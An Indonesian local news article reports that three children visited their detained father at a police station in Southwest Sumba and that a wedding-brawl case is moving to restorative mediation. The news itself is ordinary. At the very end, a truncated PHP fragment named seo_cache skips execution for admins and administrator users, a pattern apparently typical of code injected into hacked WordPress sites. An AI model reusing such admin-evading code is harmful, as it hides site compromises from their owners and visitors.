Hukum

Lega Bisa Bertemu Ayah di Sel Tahanan Vania Sampaikan Terima Kasih untuk Kapolres SBD

×

Lega Bisa Bertemu Ayah di Sel Tahanan Vania Sampaikan Terima Kasih untuk Kapolres SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA. COM – Setelah seminggu lebih menahan rindu, Vania dan kedua adiknya boleh lega usai mendapat kesempatan menjenguk ayah mereka di sel tahanan Polres SBD.

Dua putra Yoseph Nani mengenakan seragam sekolah dasar saat menjenguk sang ayah di sel tahanan Polres SBD. ( Foto Menara Sumba )

Sunggingan senyum lega terpancar dari wajah Vania dan dua adiknya, Selasa (05/08/2025) usai bersua ayahanda.

Kerinduan tiga anak piatu yang baru kehilangan ibu pada akhir Januari 2025 ini sedikit terobati, meski hanya mencium ayahnya dari balik jeruji sel Polres SBD.

Sambil senyum anak sulung Yoseph Nani, warga Kataparoro, Kelurahan Langga Lero, Kecamatan Kota Tambolaka yang ditahan polisi tersebut tak lupa menyampaikan terima kasih kepada Kapolres SBD, AKBP Harianto Rantesalu, SIK.

“Terima kasih Bapak Kapolres,” ucapnya singkat.

Mengenakan seragam sekolah dasar, putih merah, ia dan kedua adiknya datang di Mapolres SBD diantar nenek, bibi, dan sejumlah kerabat.

Siswi kelas lima SD ini juga meminta agar ayah dan kedua pamannya bisa segera menghirup udara bebas.

“Bapak Kapolres tolong keluarkan ayah, bapak kecil, dan om saya dari tahanan,” pintanya lagi.

Pantauan awak media, meski tidak sampai lima menit bertemu sang ayah dari balik jeruji, rasa rindu tiga buah hati Yoseph Nani ini terobati.

Seperti diberitakan sebelumnya, Yoseph Nani dan adiknya Oktavianus Dala Pede ditahan polisi ketika hendak memberi klarifikasi atas keributan dalam resepsi pernikahan Yubilate Bani, Jumat (25/07/2025) malam.

Keduanya hendak memberi klarifikasi atas permintaan Yubilate Bani pemilik hajatan setelah 8 warga Kataparoro diangkut polisi dan ditahan di sel Mapolsek Kota Tambolaka.

Bahkan, Korinus Malo, sepupu Yoseph Nani yang malam itu sedang tidur di rumah ikut digelandang dan dijebloskan ke sel.

Informasi terakhir yang diperoleh media ini, kasus keributan di tenda pesta pernikahan ini akan diselesaikan lewat restoratif justice.

Dihubungi lewat pesan WhatsApp, Kasatreskrim Polres SBD, AKP I Ketut Ray Artika, SH menyebut, akan digelar mediasi damai.

“Sudah di-ACC untuk RJ,” tulisnya singkat dalam pesan tersebut. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>